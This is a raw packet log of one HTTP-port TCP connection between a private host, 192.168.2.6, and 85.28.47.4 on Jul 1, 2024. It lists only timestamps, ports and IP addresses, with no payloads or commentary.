Jul 1, 2024 07:20:43.222933054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222951889 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.222954988 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.222975969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223000050 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223005056 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223018885 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223023891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223036051 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223048925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223057032 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223073959 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223089933 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223098040 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223110914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223121881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223131895 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223148108 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223165989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223171949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223181009 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223196030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223208904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223226070 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223233938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223258972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223275900 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223283052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223294973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223306894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223323107 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223337889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223345995 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223371983 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223382950 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223397970 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223413944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223423004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223433971 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223447084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223455906 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223474026 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223479033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223503113 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223511934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223512888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223532915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223545074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223550081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223565102 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223576069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223581076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223596096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.223596096 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.223628998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.271984100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.276747942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.452775955 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.452879906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.452914953 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.452924013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.452951908 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.452970982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.452970982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453007936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453020096 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453042984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453056097 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453077078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453084946 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453111887 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453124046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453156948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453166008 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453217030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453238964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453284025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453305006 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453341007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453347921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453375101 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453388929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453413010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453421116 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453452110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453459024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453468084 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453490973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453516006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453521967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453556061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453572989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453600883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453602076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453636885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453645945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453670979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453682899 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453711033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453718901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453720093 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453751087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453756094 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453772068 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453803062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453809023 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453841925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453849077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453876972 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453885078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453891993 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453918934 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453926086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453931093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453959942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.453970909 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.453994036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454010963 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454035044 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454041004 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454068899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454078913 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454116106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454128981 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454164028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454179049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454196930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454206944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454232931 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454242945 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454267979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454277039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454303980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454312086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454339027 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454348087 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454374075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454382896 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454407930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454416990 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454442024 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454451084 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454478025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454483986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454497099 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454516888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454530954 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454536915 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454564095 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454583883 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454598904 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454607964 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454632998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454647064 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454667091 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454691887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454701900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454703093 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454722881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454745054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454757929 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454763889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454792976 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454807043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454826117 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454833031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454859018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454865932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454900980 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454906940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454941034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454952955 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.454973936 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.454984903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455009937 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455043077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455049992 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455121994 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455156088 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455177069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455190897 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455199957 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455224037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455241919 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455257893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455276012 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455291033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455298901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455324888 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455336094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455358028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455370903 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455390930 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455406904 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455429077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455432892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455466032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455481052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455498934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455529928 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455533028 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455545902 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455579042 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455586910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455621958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455637932 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455655098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455666065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455692053 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455702066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455704927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455727100 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455739021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455743074 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455770969 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455790043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455805063 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455816984 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455852985 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455852985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.455929041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.455993891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456039906 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456044912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456088066 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456091881 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456125021 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456140041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456159115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456176043 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456192017 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456206083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456228018 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456240892 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456263065 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456276894 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456296921 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456311941 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456330061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456345081 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456363916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456377029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456398964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456412077 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456434011 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456454039 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456489086 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456528902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456564903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456579924 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456598043 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456610918 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456634045 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456649065 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456669092 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456680059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456703901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456717014 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456737041 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456757069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456778049 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456785917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456785917 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456816912 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456823111 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456859112 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456870079 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456892967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456904888 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456927061 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456938028 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.456974030 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.456974030 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.457007885 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.457020998 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.457043886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.457056046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.457088947 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545572996 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545607090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545661926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545713902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545748949 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545782089 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545814991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545814991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545814991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545814991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545814991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545834064 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545856953 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545878887 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545891047 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545927048 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545938969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.545960903 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.545985937 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546011925 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546019077 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546075106 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546076059 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546128035 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546128035 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546164036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546185970 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546197891 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546211958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546231985 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546247005 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546268940 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546288013 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546319008 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546320915 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546356916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546370029 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546391010 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546406031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546436071 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546444893 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546480894 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546495914 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546515942 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546534061 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546561003 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546569109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546602964 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546618938 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546637058 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546653986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546684027 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:43.546690941 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546724081 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:43.546744108 CEST	49711	80	192.168.2.6	85.28.47.4
